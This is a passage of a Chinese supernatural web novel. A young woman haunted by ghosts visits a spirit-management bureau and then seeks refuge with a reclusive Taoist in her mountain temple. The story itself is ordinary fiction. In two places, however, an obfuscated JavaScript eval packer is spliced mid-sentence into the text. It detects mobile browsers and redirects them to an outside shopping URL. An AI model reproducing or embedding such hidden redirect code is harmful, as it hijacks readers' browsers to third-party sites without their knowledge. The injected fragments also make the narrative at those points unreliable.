占英千思万算,没想过傅清微会不答应。 “让我去灵管局见你师父,是强制性的吗?”傅清微问。 “不是。” 怎么说灵管局也是正经部门,不可能做出强买强卖的事。她想利用傅清微招揽穆观主,并不是真心邀请,本就心虚不占理,更不可能强制了。 傅清微来医院什么也没带,走的时候也只需将手机揣进兜里,她始终孑然一身,转身向门口走去。 “那我不去了。” “为什么?” “我明天还有工作。” “……”占英叫住她,“我们查过,你明天没有工作。” 傅清微转过脸来看着她,目光讽刺。 “这是属于你们灵管局的傲慢吗?” “对不起。”占英许久没和普通没犯事的人打过交道,一时心急,立刻道歉。 傅清微吃软不吃硬,见她道歉真挚,点头表示原谅,说没事。 占英态度放得更低:“但我们很需要你。我诚心地邀请你到灵管局作客,如果你想知道,届时我们也会酌情告诉你一些世界的真相,这样你可以答应吗?” 占英眼睁睁看着她的身影走到门口停下,眼中燃起希望的光。 傅清微的手握上病房的门把手,沉默良久,终究还是没有再回头。 “我只想做个普通人。” 她一点都不想知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723054|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道这个世界的真相,也一点都不想再见到那些人眼看不到的脏东西。 她只想安安心心地毕业,找一份不错的工作,拿着不高不低的薪水,平时下班和朋友约吃饭看电影,周末窝在家里看剧打游戏,平凡地度过一生。就算世界马上要毁灭,她也度过了她想要的人生。 “占道长,再见。”应该是再也不见了。 “等等。” 最后一刻,占英还是追出医院,往她手里塞了一张名片:“如果你改变主意,可以打这个电话。或者,你纯粹想找个人聊天,也可以打给我,我以私人名义接听。” 占英看了她的面相,亲缘浅薄,夫妻宫和子女宫齐齐断绝,是一生孤苦的命数。好在眉顺尾聚,性情柔和,或能交到三两好友,聊作此生安慰。 而且…… 她可能没有回头路了。 占英欲言又止,目露不忍,看着傅清微收了名片彻底走远。 傅清微本来想把名片随手扔进街边的垃圾桶,到底还是作罢,带回了家随手夹在沙发的书本里。 她也对拒绝占英产生过愧疚,但归根结底于危难中救她的并不是灵管局,而是那位来去无踪的神秘女人,叫作“慈”。 傅清微按下不该有的歉疚,把所有的感激都归到“慈”身上,这样就能减轻她的道德负罪感。 她近期应该不会再来了,人体的血液循环再生也需要时间。 取血与救命之恩相比,就算她的报答。傅清微有一种说不上来的直觉,山上的那位道长并不会真正伤害她。 ——我会轻一点,忍一忍,不要怕。 她不冷冰冰说话时的声音,原来那么温柔,让人忘神。 …… 傅清微回过神,拿起一旁的手机。 占英所看的面相很准,傅清微在本市只有甘棠一个朋友,所以她回家后只给甘棠报了平安,同时也隐瞒了她这一天一夜所有的经历,甘棠在电话里活力四射,约她看下个月邻省的演唱会,最便宜的看台,两小时高铁直达,傅清微答应了。 这一个月的经历像是一场梦,她迫切需要回到正常人的生活。 订酒店,顺便做当地的旅游攻略,吃喝玩乐一条龙,即将毕业的大学生的最后狂欢。两人一直兴奋聊到深夜,甘棠在那边直打哈欠,傅清微充耳不闻,又建议了两个特种兵景点,直到甘棠主动道:“不行了我好困,咱们明天见面再聊吧。” 傅清微沉默了一会儿,方说好。 电话忙音响起的同时,傅清微身体感到了一阵凉意,窗户是关着的,没开空调,但房间里的温度在下降。 傅清微开了所有的灯,目不斜视地进了卧室拿衣服洗澡。 淋浴器只工作了三分钟的时间,傅清微快速从浴室出来,把自己塞进床上的被子里,然后闭上眼睛,深呼吸,睡觉。 人一旦看不到东西,听觉就会变得更灵敏。 已经过了凌晨两点,小区最晚下班的人也回家洗漱了,窗户外面没有一点声响。 连一丝风都没有,安静得透出诡异。 卫生间的水龙头似乎被谁打开了,又拧上,是那种老式金属水龙头生锈后转动,嘎吱嘎吱的声响。 没关紧,于是总有水滴下来的声音。 滴答—— 滴答—— 天花板中央变得湿漉漉的,一滴水凝聚掉下来,落在傅清微的手背,一片冰冷湿凉。 她手指微不可见地动了一下,双目紧闭。 不知过了多久。 一个女人的身影来到她的床前,慢慢地朝那只搭在背面上洁白无暇的手伸去。 8. 第八章 屋内月色明亮,照清床前的白色人影,脚尖朝后,长发披着,又长又直。 青色的手上爬着紫红色凸出的血管,缓缓地贴上傅清微的手背,她死后多年麻木的目光露出觊觎的垂涎。 通俗来说,鬼是没办法直接伤害到人的,所以一般情况下,它们会制造出幻觉,让人类在幻象中崩溃,精神失常,逃命,甚至是自杀。 对于世界上绝大多数人来说,他们看不到鬼,所以鬼的磁场也无法影响到他们,除非触发特定条件。一种是运势低,这种的转个运就好了,鬼也不会起杀心,玩耍居多。 另一种就是平生做了亏心事,冤有头债有主,恶鬼专门冲他来的。 而对傅清微来说,两者都不是,她是世上很少见的天生能看见鬼的人。 ——在十岁以前。 她的身体更是鬼怪寄生的温床。 因为这样的体质,她受尽常人难以想象的折磨,几乎疯掉,是一位高僧路过见她浑噩,孤魂野鬼狼环虎饲,身体犹如无主的破庙,谁都能住进去,高僧心生怜悯,主动出手为她布阵,封印灵眼,改换八字,瞒天过海。 从此她成为了一个正常人,天是蓝的,没有惨白的阴影。草是绿的,没有突然出现的人头。 水是清澈的,不会洗着洗着满手满脸的鲜血。 同学和朋友是有体温的,气色红润,不会转过来是七窍流血的。 她再也不会多出明明不属于她的记忆。 这样的生活持续了十年,她已经习惯了普通人的生活,即使孤身一人,也很感激。 可是为什么? 十年过去,他们又来了…… 傅清微闭着眼睛,眼尾滑过一行泪,在床前女鬼怨毒的目光注视下,心里想的却是只见过两面的穆若水。 除了那位已然面孔模糊的高僧,道长是世界上第二个能带给她安全感的人。 她从未有过像这一刻,无比希望她能够突然出现。 但她心里又很悲哀清楚地知道:她不会来。 在傅清微看不到的地方,她额上淡淡金光一闪,一道符箓的纹路隐现,女鬼双手猝不及防被灼伤,冒出青烟,手心的皮肤掉了一块下来,她仰天长啸,青色指甲暴涨,喉咙里发出尖利凄惨的叫声。 ——穆若水曾在她额头画了一道驱邪符,她道行精深非常人能及,符力竟然还在! 女鬼不甘而警惕地退后,视线越发淬毒。 卫生间的水龙头又开了,汩汩地流动,台盆积满了,水在其中翻滚,制造出人类溺水的声音。 楼上的弹珠、打开的电视机、楼道的高跟鞋脚步声响起四重奏。 女鬼贴身不得,又在傅清微耳边戚戚怨怨地哭起来,如泣如诉,像穿堂风幽幽地呜咽。 见她始终没有反应,陡然变得凄厉癫狂。 “你看见我了你看见我了你看见我了你看见我了!!!” “睁开眼睁开眼睁开眼看看我!!!” “我看你能坚持到什么时候?!” 鬼哭声在她的耳边刮了一整夜,天亮了阳光照进来才消失。 傅清微仿佛溺水的人终于呼吸到了新鲜空气,从床上坐起来,扭脸大口地喘.息,眼泪几乎流了满脸。 傅清微起床去洗了把脸,冲去身上干了又湿的汗水,回房短暂地睡了一会儿。 短短三天,她的脸色肉眼可见地差下去,照镜子的时候比鬼都白,她为什么知道呢?因为鬼就在卫生间的镜子里朝她微笑。 符文的效力消失了,今晚她就能上傅清微的身。 傅清微看着女鬼志在必得的笑容,也回了她一个惨白的笑容。 傅清微把沙发上的那本书找出来,翻到夹缝里的名片,拨打了上面的电话号码。 傅清微:“占道长,我想好了,我愿意去灵管局。” 占英干脆道:“好,我马上来接你。” 女鬼的笑容渐渐消失。 傅清微坐在客厅沉静地等待,不会再有第二个高僧来救她了,她要学会自救。 “叮咚——” 门铃响了一秒便从里面打开,占英一见傅清微青白的脸色,即使有所预料还是吓了一大跳。 她再往屋子里一看,好家伙,满屋子鬼,这片儿阴差没勾走的漏网之鬼估计都在这里了。别说普通人了,就算是占英乍一见,也头皮发麻。 傅清微这几天是怎么过来的? 占英在门口、阳台、镜子上贴了十几道符箓,暂时镇住鬼,尤其是那只领头的女鬼,待会再让同事过来做场法事,能超度的超度,不能超度的就地打散。 楼下停了一辆七座商务车,上车以后,占英递给傅清微一道折成三角的辟邪符,让她贴身收好。 “半个小时车程,很快就到。” 占英的语气带着少见的温柔:“睡会儿吧,到了我叫你。” 傅清微轻轻地嗯了一声。 她脸朝窗外的方向偏了偏,脑袋微微一歪,不到三秒钟的时间便沉沉睡了过去。 连占英中途给她盖毯子都没察觉一点。 占英在心里叹了口气。 …… 傅清微睡了长长的一觉,没有其他的声音,安安静静地睡了一个小时,这对现在的她来说,也是一种奢望。 醒时占英铺开了车上的小桌板,一手黄纸一手朱砂,口中念念有词,正在全神贯注地画符。 她额头布满细汗,似乎画符也极为耗费体力。 傅清微看着她笔端浮现一个又一个玄奥难懂的符号,搭在一边的手提起来,跟着她的笔画在空气中游走。 似乎过了很长的时间,又似乎只是短短的一瞬,傅清微回过神来,占英停了蘸饱朱砂的毛笔,左手剑指敕符,朝面前的符纸吹了一口清气。 符纸微微一动,金红一闪隐没进连绵的笔触里,慢慢消失。 占英舒了一口长气。 她抹了一把头上的汗,一次性消耗过度脸色也发白,从刚画好的十张符箓里挑出三张能用的,折好递给她。 “我修行不到家,只画出这些,你留着防身。” 傅清微默了默,才伸手接过,低声道:“谢谢。” 灵管局大隐隐于市,建在高新区的工业园区,圈起来偌大的一片地,独立的几栋建筑,起了个掩人耳目的名字,看起来像一家再普通不过的中型科技企业。 门口的保安穿着少了一颗纽扣的制服坐在椅子里打瞌睡,在傅清微二人走近的时候一双眼忽然抬起来,锐利得令人发寒。 占英道:“古师叔。” 老头目中的杀气荡然无存,眯着眼瞧她,笑眯眯的:“又带新人来了啊。” 占英应是。 老头抛给她一枚印,说:“去吧。” 傅清微和占英一起进去,感觉到身后的目光一直停留在她身上,审视而冷静。 有点像上次消失在巷子里,傅清微面前是一片迷雾,伸手不见五指,占英把印扔到了空中,念了几句咒语,眼前便豁然开朗,出现通往灵管局的道路。 傅清微好奇但是没开口,占英自发解释道:“这是一个阵法,据说是某位高人给局里布置的,要是没有对应的信物和咒语,就算越过古师叔进来了,也是白费功夫,根本找不到路。” 占英挠了挠后脑勺:“什么原理我也不清楚,总之挺神奇的,据说走得深了,还会遇到浓雾里的凶兽。” “凶兽?”傅清微心念动了动,那次她想下山却被浓雾挡回去,隐约看到过雾里一个巨大的四足着地的轮廓,才选择折返上山,遇到那位红衣道长的。 “我没见过,只是听说过,咱们都最好不要作死。”她话 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邱老看上去是个四十来岁的女人,长衬衫,西装裤,傅清微不知道她哪一点和“老”字沾边,但是她看向自己兴奋的目光让她感觉自己就像是被扒光了一样,无所适从。 邱月白不容置喙:“这个人归我了,我要收她为徒!” 占英苦笑:“邱老万万不可啊,这是我师父要的人,我做不了主。” 邱月白哦了一声:“那你跟你师父说一声,她,我带走了。” 占英:“不行!” 邱月白:“小鬼,你要和我动手?” “弟子不敢。”占英拿出随身携带的法器铜钱剑,握在手里,道,“但邱老执意要带走她,我没法和师父交代,只好尽力一搏。” 邱月白把傅清微的手一松:“乖徒儿,躲开点。” 傅清微:“……” 周遭鸦雀无声,她若有所感地回头一看,方才还人才济济的办公楼顷刻散得一干二净,可见池鱼不是第一次遭殃。 傅清微:“……” 桌上的纸张飞了起来,悬浮在空中,不知道哪里来的风灌满邱老的衣袖,她仰脸望了一下天,眼珠渐渐变白。 头顶电灯爆开,明暗闪烁。 傅清微的认知接二连三地颠覆,只要她们不当场变成厉鬼她都不害怕,反而聚精会神地看着。 期盼的斗法没打成,第三个人出现了。 占英当场把铜钱剑一扔,整个人刚刚的锐利之气已经消失不见,飞扑进出现的第三个女人怀里,撒娇道:“师父,您终于来了。” 傅清微&邱月白:“……” 邱月白低声道:“这对狗师徒。” 傅清微耳力好,在心里默默附议。 面对占英的师父,邱月白一甩袖子,眼珠重新变为黑色,负手背后,勉强端起了一张客气的脸:“岁主任。” 岁已寒摆手让占英站后面,道:“邱老,何故大动干戈?” 邱月白招手把傅清微叫过去,说:“我观她有胸有偃骨,是不可多得的修行天才,所以想收她为徒,不可吗?” 岁已寒微笑道:“‘名在琳札青书者,胸有偃骨’,依我看,她更适合修道,将来说不定会登仙册。” 邱月白呸了一声。 “你们道士千年没人飞升了,修道有什么用,跟我学占卜,通鬼神才是正道。” “你们巫有飞升过吗?”岁已寒笑着捅最深的刀。 邱月白气得脸红一阵白一阵,转头对傅清微道:“乖徒儿,你选谁当师父?” 傅清微沉思片刻,问道:“……我要是来你们这上班,算编制还是外包?” 邱月白:“……” 岁已寒:“……” 占英:“……” 9. 第九章 邱月白哭笑不得,一时也不执意提收徒的事了。 被傅清微这么故意一打岔,三个人之间的氛围终于正常起来,拿出灵管局高层的稳重样子。 占英向傅清微介绍站在她旁边穿一身白袍背面有太极符号的青年女人:“这是我师父,岁已寒岁主任,地位仅次于局长和副局长。” 站的远些一脸傲气的。 “邱月白邱老,灵管局特别顾问,擅长问卜算卦,能通鬼神,地位超然,局长也要卖她的面子。” 傅清微颔首:“岁主任,邱老。” 都是大人物,但是傅清微心里始终未起多少波澜,当下她更在乎自己以后能不能安稳地睡个好觉。 不管偃骨还是仙骨,修行修道,都离她太远了,她只想知道灵管局可不可以解决她的体质问题,重新封印她的眼睛,这也是她来此的主要原因。 如果实在不行,她也可以想办法留在这里,至少不会有性命之忧。 四人一起来到岁已寒的办公室。 三个人坐着,占英去泡茶,走动的脚步声放得很轻,悄悄往沙发那边看。 辟邪符彻底离身后,傅清微的身上鬼气冲天,让两位大佬看了都皱眉。 邱月白说了一个词:“鸾生?” 傅清微听不懂。 “我没有姐妹兄弟。” 占英走过来把最后一杯茶放在她面前,低声解答道:“有一种卜算方式叫作扶乩,有点像你们说的请神,鸾生就是神明附体的媒介,可以传达神的旨意。我们灵管局就有祖传鸾生,不是谁都能当得了的,是一种血脉体质的传承,和巫异曲同工。” 邱月白淡淡:“巫更厉害。” 岁已寒道:“不是鸾生。” 鸾生是请神,不是请鬼,怎么会让邪祟入体。 邱月白又问:“你的八字多少?出生年月,具体到时辰。” 傅清微抿唇。 她虽然笃信了十年的唯物主义,但也知道生辰八字不能随便告诉他人,会被有心之人利用,即使她们是灵管局的人,她也不完全信任。更何况,她不信鬼神这件事在一个月前已经粉碎。 邱月白伸手:“占英,把资料拿来。” 占英从背包里掏出平板,调出傅清微的资料递给她。 “……八月十五,辰时。”邱月白自言自语道,“八字也没问题,不应该啊。”不但不该鬼气缠身,反而恰恰相反,该阳气虚妄,鬼神不侵。 “老寒,你看看。” 岁已寒也拿过她的资料看,不得其解。 岁已寒眉头紧锁,似乎放弃了这条假设,放下平板说:“既然八字没问题,那就是后天造成的,那原因就太多了,排查起来十分困难,想对症下药更是难上加难。” “其实……” 傅清微轻轻地吐了一口气,深呼吸道:“我的生日改过。” 岁已寒“嗯?”了一声。 傅清微:“我是中元节七月十五出生的。” 岁已寒和邱月白对视了一眼,不出所料。 虽然她没有说具体的八字,但是能吸引这么多鬼的,八字纯阴没跑了。然而九州泱泱十几亿人,纯阴或纯阳的八字就算少见,在大基数里也算不上太稀奇。换句话说,就是纯阴和纯阳是有不少,但身体会变成鬼怪容器寄居的,万里挑一。 傅清微招鬼的体质肯定和八字有关,可常被鬼怪附体还能平安活到现在的,且神智清明,极其罕见——在被灵管局找到以前,不是疯了就是死了,卷个铺盖随意埋了,傅清微是现今唯一一个。 傅清微看看二位,说:“曾经有高人为我改过八字……” 邱月白矢口打断道:“不可能!” 想改生日,办户口的时候动动嘴就行了,以前家长为了小孩上学经常改年龄日期,但是那只是表面的,一个人的八字不可能因为上下嘴皮一碰就变了,那是欺天! 天是那么容易欺瞒的吗?即使侥幸瞒天过海,连鬼神也骗得过? 巫最敬鬼神,决不允许有这种欺瞒的行为! 岁已寒用眼神安抚了神情激动的邱老,说:“所以现在这个方法失效了是吗?” 傅清微点点头。 岁已寒抬手指了指上方,说:“欺天只能瞒过一时,瞒不过一世,说明你命中注定有此一劫。” 傅清微听完有些失落,但还是存了一丝希望。 “有办法化解吗?”她看了眼旁边的占英,道,“如果我一直贴身带着符箓,能不能防止鬼近身?” “能。”岁已寒说。 傅清微眼睛里刚亮起的光在听到岁道长的下一句话暗了下去。 “但是治标不治本,我不确定你的体质是否现在就是极限,普通符箓对付寻常小鬼有余,若是碰上厉鬼,或是有道行的精怪,比如上次的黄大仙,便拦不住了。” 邱月白也在凝神思索。 “不过……”柳暗花明,峰回路转,岁已寒露出一个笑容,说,“有一个人肯定有办法。” 另外三人都蒙了。 “是谁?” “也是灵管局的特别顾问,不过她深居简出极少见外人,可能要你亲自去找她。”岁已寒说,“她姓穆,住在蓬莱观。她脾气不太好,你要做好心理准备。” 占英嘴角抽了抽。 敢情在这儿等着呢,不愧是师父啊。 邱月白也点头道:“穆顾问胜我等百倍,如果是她的话,确实可以。三十年前,我问卜窥天遭到反噬,险些丧命,是穆观主及时赶到,救了我一命。” 占英在幻想里疯狂摇她的肩膀。 邱老!你这浓眉大眼的怎么也叛变了!穆观主什么时候成灵管局的顾问了?! 还是灵管局利益高于一切,为了骗人上贼船什么话都说得出口??? 傅清微答应得很干脆:“好。” 占英:“???” 这就同意了?你都不想想吗?这么明显的挖坑诶? 岁已寒:“占英,先带她去办理实习手续,为期三个月,期间工资和福利照常算。” 占英:“是,师父。” 占英领着傅清微先出去了,办公室只剩下两个老的。 尤其是邱月白,看起来四十来岁,实际已经六十多岁了,当得上一声邱老。 邱月白感怀道:“想当年和穆观主一别,也已经三十年了,如今要不是琐事缠身,老身真想去见穆观主一面。” 岁已寒说:“您还是别去了,穆顾问这次出关,脾气古怪得很,上个月刚把白虹观的小道士送进了ICU。” “听说了,谁让他们私自登蓬莱?哼,死有余辜。” “没死,断了一身的肋骨,已经出院了。”岁已寒纠正她,又发自内心地请教道,“邱老,蓬莱不能上吗?后山阵法不是已经解了吗?观主允许了。” “穆姐姐喜静,幽居百年,我都不曾踏足蓬莱。他们乌泱泱去一群,只死一个便宜他们了。” 邱月白不属于灵管局,正如穆若水也不隶属灵管局一样,约束不了她们。邱月白爱逞口舌,话里话外都是吃味,岁已寒便不再去纠正。 邱月白突然说:“去东海之前,我要不要去趟蓬莱观?现在出发,当天就能往返。” 岁已寒却说:“你想去叙旧,她恐怕已将你忘了。” “又忘了?”邱月白一怔。 “忘了,和从前一样,忘了灵管局所有人。” 邱月白愣得更深,慢慢坐下来,陷入长久的安静。 而且这次……似乎又和以前记载的不一样。岁已寒将这些话咽回肚子里,她今年不过三十多岁,虽坐到高位,但对灵管局来说还是个新人,尤其是将时限维度拉长到几千年的灵管局浩如烟海的历史里。 三十年前,邱月白是成名的大巫,穆若水早就是玄门尊崇的慈让真人,她是个刚拜入师门的小女孩,她甚至没有亲眼见过慈让真人,只能从上一任、上上任留下的手记里窥得一鳞半爪。 邱月白恍惚许久,才问道:“那刚刚那个小孩是?” “慈让真人唯一愿意见的人。” 邱月白合上双目,回忆两人一起离开的身影,脑海画面定格在左边高挑些的背影。 “我觉得她……有些眼熟。”邱月白慢慢开口。 * 占英带傅清微去办了实习手续,着重回答了她关心的问题:“实习期三个月,转正就有编制了,不是外包,福利待遇什么的和我们都一样。” 严格来说灵管局不属于体制内,她们只是和国家机关有紧密的协作关系,在九州有历史的时候,灵管局就存在了,那时叫法不同。从稳定性来说,灵管局比体制内更稳定,工资还比人家高,就是风险比较大,也会有伤亡。从生干到死,怎么不算一种铁饭碗呢? 但这些现在没必要和傅清微讲,她一个实习生,暂时不会接触到危险的任务。 她现在的首要任务是去蓬莱观。 开往郊外的七座商务车上,占英负责护送,心情复杂。虽然主意是她想的,但是就这样稀里糊涂地把普通人——现在也不普通了的傅清微送到性情无常的慈让真人那里,万一观主发怒,一气之下把她杀了怎么办? 毕竟关系匪浅只是她猜的。 一时她又觉得不至于吧,上次的刘道友还活着呢。可万万一呢?如果她能和傅清微换一下,她宁愿自己去冒这个风险。 她愿意为了任务去送死,但傅清微只是个实习生——她大学还没毕业呢。 她纠结又愧疚,车里没有外人,都写在脸上。 傅清微看在眼里,摸了摸怀里的符纸,主动温声询问道:“那位穆观主是不是就是我前几天晚上见过的道长?” 占英闷闷地嗯了一声。 傅清微露出一丝浅浅的笑容。 占英:“???” 傅清微说:“没什么。” 占英怕她盲目乐观:“我跟你说,她脾气真的不好,惹到她会很危险。” 傅清微弯唇说:“我知道。” 占英不懂,所以她明知是坑还往里跳,是因为她猜到灵管局口中的穆顾问和她想的是同一个人。但是她是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723056|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太开心了一点?演都不在她面前演一下的,上次在医院还否认,装作没交情呢。 她更不知道的是,傅清微高兴不是因为她和穆若水有多深的交情。 而是灵管局所有人加起来带给她的安全感,都不如穆若水的万分之一。 她救了自己一次又一次,留下的符更保护了她三天不受邪祟入侵,才有机会寻求帮助。 就算岁已寒不提,她也会主动询问她们认不认识穆若水,现在这叫什么?得来全不费工夫。 商务车停了下来,占英没有让司机熄火,指着车窗外,说:“这里是蓬莱观的前山。” 傅清微循着她指的方向看去,不远处站岗的卫兵笔挺如刀,双目炯炯,身后深深嵌进地里的石块上六个深红大字:XX军事基地。 傅清微难掩震惊之色,喃喃道:“怪不得。” 怪不得她上次打车出城,寻找道观无功而返,寻常人走到这里绝不会再往前一步。 占英指挥司机继续往前开,道:“前山是障眼法,后山有结界,但是上个月阵破了,我们从后山上去。” 傅清微关上车窗,说:“好。” 一路从大路拐到小路,小路拐进树林,没路以后换到步行。山里多鸟兽,与世隔绝日久,都不太怕人,傅清微的脚边刚窜过去一只圆滚滚的黄松花栗鼠,扭头好奇地往这边瞧。 傅清微曾来过一次,雾里的幻境和真实又有所不同,奇珍异草有,但不至一人高,野参也不是随处可见,否则阵破以后早被附近的村民偷跑进山挖光了。 天色渐晚,晚霞生晕,从山脚看上去,霞光像是锦缎一样披在山的身上。 “天快黑了,我们得抓紧了。” “嗯。” 占英加快脚程,傅清微轻松跟上,步伐矫捷,脸不红气不喘,引得占英微微侧目。 玄门内外兼修,傅清微一个普通人能有这样的体力不一般,占英想起她师父和邱老说她胸有偃骨时争着收徒,师父是真的想收徒还是斗嘴她不清楚,但她和傅清微相处下来,确实想要她当自己的师妹。 占英:“如果穆观主不愿意帮你的话,你就回来找我。” 傅清微不解地看过来:“嗯?” 占英:“你的体质不是完全没有办法,我会求师父收你为徒,你和我一起修道,在鬼伤害你之前你先把它杀死,也是一种解决方法。” 傅清微看着她,说:“谢谢你,我会考虑的。” 占英也嗯了一声,埋头赶路,不再说话。 “到了。” 脚步不停连着快走赶路一个小时,占英单手扶着手边的树,微微气喘,好在傅清微白皙的脸也因运动过度透出少见的饱和血色,让她不至于太过丢脸。 “怎么离得这么远?”傅清微惊讶道,她目测了一下,至少距离道观后门还有一百米。 占英苦笑:“我们不敢上前。”再近就要挨棺材板了。 傅清微:“我可以吗?” 占英说:“或许可以。” 傅清微一步一步走近道观,白墙黑瓦,有些年头却很干净,宫观四角在茂盛的树叶间只露出来犹抱琵琶半遮面的一个角,她来到门前,仰起脸。 不知道占英等人怎么想的,她觉得站在这里,心中有种远离世俗、前所未有的宁静。 傅清微敲了敲门,来回三次后,没有回应。 她推门走了进去。 占英大惊失色,脱口阻止道:“别进……” 一分钟后,门里没有反应。 五分钟后,没有连人带棺材板一起扔出来。 占英张大了嘴巴。 傅清微就这样畅通无阻地顺利进入了道观。 天已经完全黑了,山里的虫子蛰蛰地鸣叫,傅清微在门里,感受到了一种比门外更舒服的气息。 夜晚是鬼的游行,刚刚在来的路上她已经见了很多飘动的鬼影。但是一进道观,目之所及竟然干干净净,什么都没有,只有风摇动树叶的飒飒声,对如今的她来说仿佛仙乐。 她深深地呼吸了一口新鲜空气,迈向中间开了盖的棺材。 穆观主。 慈…… 穆慈吗? 穆慈。 穆、慈。 她心里一字一字地缓缓念着这两个字,从被黄鼠狼附体后的担惊受怕到昨夜还在恐惧会被鬼怪侵袭,一切的不安都在这一刻荡然无存,还有一丝未被自己察觉的微弱的欢喜。 她一步一步走到棺材边沿,一身红衣道袍的女人果然躺在里面。 她双手交叠搭在小腹,衣袖滑落到肘弯,洁白的手腕绕了一根红线,穿着一粒木色佛珠。 清冷狭长的漂亮眼睛闭着,覆盖在薄薄的眼皮之下。 她面色红润,眉眼如墨的脸在夜色里自带光华。 “道长!”傅清微伏到棺材边缘,看着她的脸喊道,乍见之欢,语气轻快上扬。 穆若水睁开眼,便见棺材上方探进来一张灿烂明艳的笑脸。 在她反应过来以前,唇角自作主张地跟着弯了一下。 10. 第十章 “道长好久不见。”傅清微本来半蹲在棺材前,见她睁眼搭理自己干脆坐下来,一副和她久别重逢的模样。 “我和你很熟吗?” 穆若水不理解,她们俩不就见过两次面,加起来说的话不到一百个字,她怎么做到开口这么熟稔的,从水镜里看她也不是自来熟的人啊。 “不熟。”傅清微乖乖道。 她终于收起那张过分灿烂的笑脸,穆若水重新闭上了眼睛,耳根清净。 上方又传来细小的声音:“只是我见到你,觉得很高兴。” 穆若水闭着眼,眉目淡淡。 “再吵我就把你一起丢出去。” “……是。”傅清微微微泄气,她从地上慢腾腾地爬起来,眼神还落在穆若水脸上,随着脚步渐渐退后被石棺的边缘挡住。 “等等。” “道长有什么吩咐?”傅清微马上道。 “太吵了,帮我盖下棺材盖。” “好。” 石棺盖了半截,只露出女人半个身子,傅清微来到棺尾,用尽全身力气去推。 这副棺材通体石材打造,棺盖也不例外,重达几百斤,以普通人的力气根本推不动,傅清微使出吃奶的劲,棺盖纹丝不动。 女人躺在棺材里,闭目嘲讽。 “这般无用,灵管局派你来做什么?” 傅清微束手站在一边,无地自容地涨红了脸。 不是因为她说的话有多伤人,而是生长在红旗下的青年,很少有被人直接当面羞辱的机会。她是被这种气氛给羞辱到了。 “你走吧。” 棺材盖毫不留情地合上,女人连见也不想再见到她,冷冰冰地下了逐客令。 如果傅清微见过她是怎么驱逐别人的,就会知道她现在没有从道观里直接飞出去,已经是何等的温柔和仁慈。 傅清微大学生脸皮薄,对方三言两语她便生出不该打扰对方的心思,但是半夜让她出去她实在不敢,非得被鬼怪瓜分不可,于是找了个墙角蹲下,给占英发短信——不敢打电话,穆慈嫌吵。 傅清微:【观主让我走】 占英:【不对,我就在外头,没看见你啊,你往哪个方向飞的】 傅清微:【她睡了,我还在里面】 占英:“!!!” 【好家伙,只对你傲娇是吧?】 傅清微:【???】 你是怎么想到把这个词和观主联系到一起的? 占英:【别人一般是人先飞出来撞树上,再听到她让滚的话,你品,你细品】 傅清微品……她哪敢细品。 论害怕她是完全不怕的,虽然庭院深深只有一口棺材陪着她,但是棺材里躺的是个大活人,还是两次救她于水火的道长,她有什么可怕的?最差死在她手里,比死在鬼手上好。 而且,她总觉得刚刚穆若水第一次睁眼的时候冲她笑了,虽然很快变成了冷笑,她也不确定她有没有真的笑过。 傅清微:【我不出去了,先在道观睡一觉】 占英:【有急事拨我电话,我尽量不让你有生命危险】 傅清微也从“尽量”和“生命危险”这两个词看出她的底气不足和勇气可嘉。 傅清微:【我睡了】 她第一次来这里的时候,墙上和地上都是画满符咒的黄纸,密密麻麻地把石棺紧紧包围,这么多天过去,风把那些失效了的符箓都吹到了墙根,堆起来厚厚的一层。 傅清微坐在那堆厚软的废纸上,把外套的拉链一拉,掩到鼻梁,双手抱在身前,头一歪睡了过去。 她这三天过得不人不鬼的,白天只在车上短暂地休息了一个小时,现在数倍的安心于那时,山里的虫鸣成了舒适轻缓的白噪音,将她紧张的情绪尽数抚平。 她睡得比白天还沉。 裹挟着寒意的山风吹过来,她本能瑟缩了一下,只是抱紧了外套,连醒转的迹象都没有。 寅时,三点。 院子正中央的棺材动了,一双手缓缓地从里面推开棺材盖,长长的指甲有些碍事,她将掌根往上移了些,把棺盖推到腰部以下的地方,坐了起来。 树叶在风里摇动,皎洁月光透过树杈不均匀地投下来。 女人的脚步踩断月色,原来笼罩在傅清微身上的月光被女人的影子代替,许久,才又移开。 …… 傅清微在一片黑暗中醒来,她伸手去摸兜里的手机,睡意惺忪的眼眯缝着看清时间:上午九点。 九点钟天怎么这么黑? 傅清微底下躺的是铺得质地柔软的床榻,但宽度不足90公分,伸不开双臂,手抬起来就能碰到天花板,四四方方,傅清微确认自己睡在了棺材里。 “道长,你在吗?”棺材里隔绝了声音,清亮变得沉闷。 穆若水从水缸里鞠了一捧清水洗手,不为所动。 “道长?道长?” 手掌拍打棺椁,语气染上了焦急,唯独没有穆若水预料的恐惧。 傅清微呼喊了一会儿,没人回应她便顺其自然地继续躺着了。棺材不是密封的,有一线光漏进来,把她装进棺材里的人体贴地在棺尾和棺材盖之间留了一条缝,保证空气的流通。 她并不想害她的性命,还给了她衣服盖。傅清微摸了摸身上柔软的鹤氅,心想。 中午十二点,棺材打开,傅清微重见天日。 她出来第一件事就是向穆若水道谢:“多谢观主赐棺之恩,否则我在地上睡一宿非感冒不可。” 正准备赶她走的穆若水:“……” 她是这个意思吗? 好自作多情的人。 